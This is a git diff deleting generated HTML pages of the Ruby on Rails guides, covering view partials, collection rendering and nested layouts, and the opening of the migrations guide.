-<div class="paragraph"><p>That code will pull in the partial from <tt>app/views/shared/_menu.html.erb</tt>.</p></div>
-<h4 id="_using_partials_to_simplify_views">3.4.2. Using Partials to Simplify Views</h4>
-<div class="paragraph"><p>One way to use partials is to treat them as the equivalent of subroutines: as a way to move details out of a view so that you can grasp what&#8217;s going on more easily. For example, you might have a view that looked like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "shared/ad_banner" %&gt;
-
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Here are a few of our fine products:<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-...
-
-&lt;%= render :partial =&gt; "shared/footer" %&gt;</tt></pre></div></div>
-<div class="paragraph"><p>Here, the <tt>_ad_banner.html.erb</tt> and <tt>_footer.html.erb</tt> partials could contain content that is shared among many pages in your application. You don&#8217;t need to see the details of these sections when you&#8217;re concentrating on a particular page.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">For content that is shared among all pages in your application, you can use partials directly from layouts.</td>
-</tr></table>
-</div>
-<h4 id="_partial_layouts">3.4.3. Partial Layouts</h4>
-<div class="paragraph"><p>A partial can use its own layout file, just as a view can use a layout. For example, you might call a partial like this:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "link_area", :layout =&gt; "graybar" %&gt;</tt></pre></div></div>
-<div class="paragraph"><p>This would look for a partial named <tt>_link_area.html.erb</tt> and render it using the layout <tt>_graybar.html.erb</tt>. Note that layouts for partials follow the same leading-underscore naming as regular partials, and are placed in the same folder with the partial that they belong to (not in the master <tt>layouts</tt> folder).</p></div>
-<h4 id="_passing_local_variables">3.4.4. Passing Local Variables</h4>
-<div class="paragraph"><p>You can also pass local variables into partials, making them even more powerful and flexible. For example, you can use this technique to reduce duplication between new and edit pages, while still keeping a bit of distinct content:</p></div>
-<div class="paragraph"><p><tt>new.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>New zone<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= error_messages_for :zone %&gt;
-&lt;%= render :partial =&gt; "form", :locals =&gt; { :button_label =&gt; "Create zone", :zone =&gt; @zone } %&gt;</tt></pre></div></div>
-<div class="paragraph"><p><tt>edit.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Editing zone<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= error_messages_for :zone %&gt;
-&lt;%= render :partial =&gt; "form", :locals =&gt; { :button_label =&gt; "Update zone", :zone =&gt; @zone } %&gt;</tt></pre></div></div>
-<div class="paragraph"><p><tt>_form.html.erb:</tt></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;% form_for(zone) do |f| %&gt;
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;b&gt;</span></span>Zone name<span style="font-weight: bold"><span style="color: #0000FF">&lt;/b&gt;&lt;br</span></span> <span style="font-weight: bold"><span style="color: #0000FF">/&gt;</span></span>
- &lt;%= f.text_field :name %&gt;
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>
- &lt;%= f.submit button_label %&gt;
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span>
-&lt;% end %&gt;</tt></pre></div></div>
-<div class="paragraph"><p>Although the same partial will be rendered into both views, the label on the submit button is controlled by a local variable passed into the partial.</p></div>
-<div class="paragraph"><p>Every partial also has a local variable with the same name as the partial (minus the underscore). You can pass an object in to this local variable via the <tt>:object</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "customer", :object =&gt; @new_customer %&gt;</tt></pre></div></div>
-<div class="paragraph"><p>Within the <tt>customer</tt> partial, the <tt>@customer</tt> variable will refer to <tt>@new_customer</tt> from the parent view.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/warning.png" alt="Warning" />
-</td>
-<td class="content">In previous versions of Rails, the default local variable would look for an instance variable with the same name as the partial in the parent. This behavior is deprecated in Rails 2.2 and will be removed in a future version.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>If you have an instance of a model to render into a partial, you can use a shorthand syntax:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; @customer %&gt;</tt></pre></div></div>
-<div class="paragraph"><p>Assuming that the <tt>@customer</tt> instance variable contains an instance of the <tt>Customer</tt> model, this will use <tt>_customer.html.erb</tt> to render it.</p></div>
-<h4 id="_rendering_collections">3.4.5. Rendering Collections</h4>
-<div class="paragraph"><p>Partials are very useful in rendering collections. When you pass a collection to a partial via the <tt>:collection</tt> option, the partial will be inserted once for each member in the collection:</p></div>
-<div class="paragraph"><p><tt>index.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= render :partial =&gt; "product", :collection =&gt; @products %&gt;</tt></pre></div></div>
-<div class="paragraph"><p><tt>_product.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Product Name: &lt;%= product.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>When a partial is called with a pluralized collection, then the individual instances of the partial have access to the member of the collection being rendered via a variable named after the partial. In this case, the partial is <tt>_product, and within the +_product</tt> partial, you can refer to <tt>product</tt> to get the instance that is being rendered. To use a custom local variable name within the partial, specify the <tt>:as</tt> option in the call to the partial:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "product", :collection =&gt; @products, :as =&gt; :item %&gt;</tt></pre></div></div>
-<div class="paragraph"><p>With this change, you can access an instance of the <tt>@products</tt> collection as the <tt>item</tt> local variable within the partial.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/tip.png" alt="Tip" />
-</td>
-<td class="content">Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by <tt>_counter</tt>. For example, if you&#8217;re rendering <tt>@products</tt>, within the partial you can refer to <tt>product_counter</tt> to tell you how many times the partial has been rendered.</td>
-</tr></table>
-</div>
-<div class="paragraph"><p>You can also specify a second partial to be rendered between instances of the main partial by using the <tt>:spacer_template</tt> option:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;%= render :partial =&gt; "product", :collection =&gt; @products, :spacer_template =&gt; "product_ruler" %&gt;</tt></pre></div></div>
-<div class="paragraph"><p>Rails will render the <tt>_product_ruler</tt> partial (with no data passed in to it) between each pair of <tt>_product</tt> partials.</p></div>
-<div class="paragraph"><p>There&#8217;s also a shorthand syntax available for rendering collections. For example, if <tt>@products</tt> is a collection of products, you can render the collection this way:</p></div>
-<div class="paragraph"><p><tt>index.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Products<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= render :partial =&gt; @products %&gt;</tt></pre></div></div>
-<div class="paragraph"><p><tt>_product.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Product Name: &lt;%= product.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>Rails determines the name of the partial to use by looking at the model name in the collection. In fact, you can even create a heterogeneous collection and render it this way, and Rails will choose the proper partial for each member of the collection:</p></div>
-<div class="paragraph"><p><tt>index.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;h1&gt;</span></span>Contacts<span style="font-weight: bold"><span style="color: #0000FF">&lt;/h1&gt;</span></span>
-&lt;%= render :partial =&gt; [customer1, employee1, customer2, employee2] %&gt;</tt></pre></div></div>
-<div class="paragraph"><p><tt>_customer.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Name: &lt;%= customer.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p><tt>_employee.html.erb</tt>:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;p&gt;</span></span>Name: &lt;%= employee.name %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/p&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>In this case, Rails will use the customer or employee partials as appropriate for each member of the collection.</p></div>
-<h3 id="_using_nested_layouts">3.5. Using Nested Layouts</h3>
-<div class="paragraph"><p>You may find that your application requires a layout that differs slightly from your regular application layout to support one particular controller. Rather than repeating the main layout and editing it, you can accomplish this by using nested layouts (sometimes called sub-templates). Here&#8217;s an example:</p></div>
-<div class="paragraph"><p>Suppose you have the follow ApplicationController layout:</p></div>
-<div class="paragraph"><p><tt>app/views/layouts/application.erb</tt></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">&lt;html&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>&lt;%= @page_title %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;title&gt;</span></span>
- &lt;% stylesheet_tag 'layout' %&gt;
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;style</span></span> <span style="color: #009900">type</span><span style="color: #990000">=</span><span style="color: #FF0000">"text/css"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>&lt;%= yield :stylesheets %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/style&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;head&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;body&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;div</span></span> <span style="color: #009900">id</span><span style="color: #990000">=</span><span style="color: #FF0000">"top_menu"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>Top menu items here<span style="font-weight: bold"><span style="color: #0000FF">&lt;/div&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;div</span></span> <span style="color: #009900">id</span><span style="color: #990000">=</span><span style="color: #FF0000">"menu"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>Menu items here<span style="font-weight: bold"><span style="color: #0000FF">&lt;/div&gt;</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;div</span></span> <span style="color: #009900">id</span><span style="color: #990000">=</span><span style="color: #FF0000">"main"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>&lt;%= yield %&gt;<span style="font-weight: bold"><span style="color: #0000FF">&lt;/div&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/body&gt;</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">&lt;/html&gt;</span></span></tt></pre></div></div>
-<div class="paragraph"><p>On pages generated by NewsController, you want to hide the top menu and add a right menu:</p></div>
-<div class="paragraph"><p><tt>app/views/layouts/news.erb</tt></p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt>&lt;% content_for :stylesheets do %&gt;
- #top_menu {display: none}
- #right_menu {float: right; background-color: yellow; color: black}
-&lt;% end -%&gt;
-&lt;% content_for :main %&gt;
- <span style="font-weight: bold"><span style="color: #0000FF">&lt;div</span></span> <span style="color: #009900">id</span><span style="color: #990000">=</span><span style="color: #FF0000">"right_menu"</span><span style="font-weight: bold"><span style="color: #0000FF">&gt;</span></span>Right menu items here<span style="font-weight: bold"><span style="color: #0000FF">&lt;/div&gt;</span></span>
- &lt;%= yield %&gt;
- &lt;% end -%&gt;
-&lt;% render :file =&gt; 'layouts/application' %&gt;</tt></pre></div></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">In versions of Rails before Rails 2.3, you should use <tt>render 'layouts/applications'</tt> instead of <tt>render :file =&gt; 'layouts/applications\'</tt></td>
-</tr></table>
-</div>
-<div class="paragraph"><p>That&#8217;s it. The News views will use the new layout, hiding the top menu and adding a new right menu inside the "content" div.</p></div>
-<div class="paragraph"><p>There are several ways of getting similar results with differents sub-templating schemes using this technique. Note that there is no limit in nesting levels. One can use the <tt>ActionView::render</tt> method via <tt>render 'layouts/news\'</tt> to base a new layout on the News layout.</p></div>
-</div>
-<h2 id="_changelog">4. Changelog</h2>
-<div class="sectionbody">
-<div class="paragraph"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/15">Lighthouse ticket</a></p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-December 27, 2008: Merge patch from Rodrigo Rosenfeld Rosas covering subtemplates
-</p>
-</li>
-<li>
-<p>
-December 27, 2008: Information on new rendering defaults by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-November 9, 2008: Added partial collection counter by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-November 1, 2008: Added <tt>:js</tt> option for <tt>render</tt> by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-October 16, 2008: Ready for publication by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
-</p>
-</li>
-<li>
-<p>
-October 4, 2008: Additional info on partials (<tt>:object</tt>, <tt>:as</tt>, and <tt>:spacer_template</tt>) by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-<li>
-<p>
-September 28, 2008: First draft by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
-</p>
-</li>
-</ul></div>
-</div>
-
- </div>
- </div>
-</body>
-</html>
diff --git a/railties/doc/guides/html/migrations.html b/railties/doc/guides/html/migrations.html
deleted file mode 100644
index 0a8b85c77c..0000000000
--- a/railties/doc/guides/html/migrations.html
+++ /dev/null
@@ -1,731 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
-<head>
- <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
- <title>Migrations</title>
- <!--[if lt IE 8]>
- <script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
- <![endif]-->
- <link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
- <link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
-</head>
-<body>
- <div id="header" >
- <div id="logo">
- <a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
- </div>
-
- <h1 id="site_title"><span>Ruby on Rails</span></h1>
- <h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
-
- <ul id="navMain">
- <li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
- <li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
- </ul>
- </div>
-
- <div id="container">
-
- <div id="sidebar">
- <h2>Chapters</h2>
- <ol>
- <li>
- <a href="#_anatomy_of_a_migration">Anatomy Of A Migration</a>
- <ul>
-
- <li><a href="#_migrations_are_classes">Migrations are classes</a></li>
-
- <li><a href="#_what_8217_s_in_a_name">What&#8217;s in a name</a></li>
-
- <li><a href="#_changing_migrations">Changing migrations</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_creating_a_migration">Creating A Migration</a>
- <ul>
-
- <li><a href="#_creating_a_model">Creating a model</a></li>
-
- <li><a href="#_creating_a_standalone_migration">Creating a standalone migration</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_writing_a_migration">Writing a Migration</a>
- <ul>
-
- <li><a href="#_creating_a_table">Creating a table</a></li>
-
- <li><a href="#_changing_tables">Changing tables</a></li>
-
- <li><a href="#_special_helpers">Special helpers</a></li>
-
- <li><a href="#_writing_your_down_method">Writing your down method</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_running_migrations">Running Migrations</a>
- <ul>
-
- <li><a href="#_rolling_back">Rolling back</a></li>
-
- <li><a href="#_being_specific">Being Specific</a></li>
-
- <li><a href="#_being_talkative">Being talkative</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#models">Using Models In Your Migrations</a>
- <ul>
-
- <li><a href="#_dealing_with_changing_models">Dealing with changing models</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#_schema_dumping_and_you">Schema dumping and you</a>
- <ul>
-
- <li><a href="#schema">What are schema files for?</a></li>
-
- <li><a href="#_types_of_schema_dumps">Types of schema dumps</a></li>
-
- <li><a href="#_schema_dumps_and_source_control">Schema dumps and source control</a></li>
-
- </ul>
- </li>
- <li>
- <a href="#foreign_key">Active Record and Referential Integrity</a>
- </li>
- <li>
- <a href="#_changelog">Changelog</a>
- </li>
- </ol>
- </div>
-
- <div id="content">
- <h1>Migrations</h1>
- <div id="preamble">
-<div class="sectionbody">
-<div class="paragraph"><p>Migrations are a convenient way for you to alter your database in a structured and organised manner. You could edit fragments of SQL by hand but you would then be responsible for telling other developers that they need to go and run it. You&#8217;d also have to keep track of which changes need to be run against the production machines next time you deploy. Active Record tracks which migrations have already been run so all you have to do is update your source and run <tt>rake db:migrate</tt>. Active Record will work out which migrations should be run. It will also update your db/schema.rb file to match the structure of your database.</p></div>
-<div class="paragraph"><p>Migrations also allow you to describe these transformations using Ruby. The great thing about this is that (like most of Active Record&#8217;s functionality) it is database independent: you don&#8217;t need to worry about the precise syntax of CREATE TABLE any more that you worry about variations on SELECT * (you can drop down to raw SQL for database specific features). For example you could use SQLite3 in development, but MySQL in production.</p></div>
-<div class="paragraph"><p>You&#8217;ll learn all about migrations including:</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-The generators you can use to create them
-</p>
-</li>
-<li>
-<p>
-The methods Active Record provides to manipulate your database
-</p>
-</li>
-<li>
-<p>
-The Rake tasks that manipulate them
-</p>
-</li>
-<li>
-<p>
-How they relate to <tt>schema.rb</tt>
-</p>
-</li>
-</ul></div>
-</div>
-</div>
-<h2 id="_anatomy_of_a_migration">1. Anatomy Of A Migration</h2>
-<div class="sectionbody">
-<div class="paragraph"><p>Before I dive into the details of a migration, here are a few examples of the sorts of things you can do:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> CreateProducts <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- create_table <span style="color: #990000">:</span>products <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>string <span style="color: #990000">:</span>name
- t<span style="color: #990000">.</span>text <span style="color: #990000">:</span>description
-
- t<span style="color: #990000">.</span>timestamps
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- drop_table <span style="color: #990000">:</span>products
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This migration adds a table called <tt>products</tt> with a string column called <tt>name</tt> and a text column called <tt>description</tt>. A primary key column called <tt>id</tt> will also be added, however since this is the default we do not need to ask for this. The timestamp columns <tt>created_at</tt> and <tt>updated_at</tt> which Active Record populates automatically will also be added. Reversing this migration is as simple as dropping the table.</p></div>
-<div class="paragraph"><p>Migrations are not limited to changing the schema. You can also use them to fix bad data in the database or populate new fields:</p></div>
-<div class="listingblock">
-<div class="content"><!-- Generator: GNU source-highlight 2.9
-by Lorenzo Bettini
-http://www.lorenzobettini.it
-http://www.gnu.org/software/src-highlite -->
-<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">class</span></span> AddReceiveNewsletterToUsers <span style="color: #990000">&lt;</span> ActiveRecord<span style="color: #990000">::</span>Migration
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>up
- change_table <span style="color: #990000">:</span>users <span style="font-weight: bold"><span style="color: #0000FF">do</span></span> <span style="color: #990000">|</span>t<span style="color: #990000">|</span>
- t<span style="color: #990000">.</span>boolean <span style="color: #990000">:</span>receive_newsletter<span style="color: #990000">,</span> <span style="color: #990000">:</span>default <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">false</span></span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
- User<span style="color: #990000">.</span>update_all <span style="color: #990000">[</span><span style="color: #FF0000">"receive_newsletter = ?"</span><span style="color: #990000">,</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span><span style="color: #990000">]</span>
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-
- <span style="font-weight: bold"><span style="color: #0000FF">def</span></span> <span style="font-weight: bold"><span style="color: #0000FF">self</span></span><span style="color: #990000">.</span>down
- remove_column <span style="color: #990000">:</span>users<span style="color: #990000">,</span> <span style="color: #990000">:</span>receive_newsletter
- <span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
-<span style="font-weight: bold"><span style="color: #0000FF">end</span></span></tt></pre></div></div>
-<div class="paragraph"><p>This migration adds an <tt>receive_newsletter</tt> column to the <tt>users</tt> table. We want it to default to <tt>false</tt> for new users, but existing users are considered
-to have already opted in, so we use the User model to set the flag to <tt>true</tt> for existing users.</p></div>
-<div class="admonitionblock">
-<table><tr>
-<td class="icon">
-<img src="./images/icons/note.png" alt="Note" />
-</td>
-<td class="content">Some <a href="#models">caveats</a> apply to using models in your migrations.</td>
-</tr></table>
-</div>
-<h3 id="_migrations_are_classes">1.1. Migrations are classes</h3>
-<div class="paragraph"><p>A migration is a subclass of ActiveRecord::Migration that implements two class methods: <tt>up</tt> (perform the required transformations) and <tt>down</tt> (revert them).</p></div>
-<div class="paragraph"><p>Active Record provides methods that perform common data definition tasks in a database independent way (you&#8217;ll read about them in detail later):</p></div>
-<div class="ulist"><ul>
-<li>
-<p>
-<tt>create_table</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>change_table</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>drop_table</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>add_column</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>remove_column</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>change_column</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>rename_column</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>add_index</tt>
-</p>
-</li>
-<li>
-<p>
-<tt>remove_index</tt>
-</p>
-</li>
-</ul></div>
-<div class="paragraph"><p>If you need to perform tasks specific to your database (for example create a <a href="#foreign_key">foreign key</a> constraint) then the <tt>execute</tt> function allows you to execute arbitrary SQL. A migration is just a regular Ruby class so you&#8217;re not limited to these functions. For example after adding a column you could
-write code to set the value of that column for existing records (if necessary using your models).</p></div>
-<div class="paragraph"><p>On databases that support transactions with statements that change the schema (such as PostgreSQL), migrations are wrapped in a transaction. If the database does not support this (for example MySQL and SQLite) then when a migration fails the parts of it that succeeded will not be rolled back. You will have to unpick the changes that were made by hand.</p></div>
-<h3 id="_what_8217_s_in_a_name">1.2. What&#8217;s in a name</h3>
-<div class="paragraph"><p>Migrations are stored in files in &#8216;db/migrate`, one for each migration class. The name of the file is of the form <tt>YYYYMMDDHHMMSS_create_products.rb</tt>, that is to say a UTC timestamp identifying the migration followed by an underscore followed by the name of the migration. The migration class&#8217; name must match (the camelcased version of) the latter part of the file name. For example <tt>20080906120000_create_products.rb</tt> should define CreateProducts and <tt>20080906120001_add_details_to_products.rb</tt> should define AddDetailsToProducts. If you do feel the need to change the file name then you MUST update the name of the class inside or Rails will complain about a missing class.</p></div>
-<div class="paragraph"><p>Internally Rails only uses the migration&#8217;s number (the timestamp) to identify them. Prior to Rails 2.1 the migration number started at 1 and was incremented each time a migration was generated. With multiple developers it was easy for these to clash requiring you to rollback migrations and renumber them. With Rails 2.1 this is largely avoided by using the creation time of the migration to identify them. You can revert to the old numbering scheme by setting <tt>config.active_record.timestamped_migrations</tt> to <tt>false</tt> in <tt>environment.rb</tt>.</p></div>
-<div class="paragraph"><p>The combination of timestamps and recording which migrations have been run allows Rails to handle common situations that occur with multiple developers.</p></div>
-<div class="paragraph"><p>For example Alice adds migrations <tt>20080906120000</tt> and <tt>20080906123000</tt> and Bob adds <tt>20080906124500</tt> and runs it. Alice finishes her changes and checks in her migrations and Bob pulls down the latest changes. Rails knows that it has not run Alice&#8217;s two migrations so <tt>rake db:migrate</tt> would run them (even though Bob&#8217;s migration with a later timestamp has been run), and similarly migrating down would not run their down methods.</p></div>
-<div class="paragraph"><p>Of course this is no substitution for communication within the team, for example if Alice&#8217;s migration removed a table that Bob&#8217;s migration assumed the existence of then trouble will still occur.</p></div>
-<h3 id="_changing_migrations">1.3. Changing migrations</h3>
-<div class="paragraph"><p>Occasionally you will make a mistake while writing a migration. If you have already run the migration then you cannot just edit the migration and run the migration again: Rails thinks it has already run the migration and so will do nothing when you run <tt>rake db:migrate</tt>. You must rollback the migration (for example with <tt>rake db:rollback</tt>), edit your migration and then run <tt>rake db:migrate</tt> to run the corrected version.</p></div>
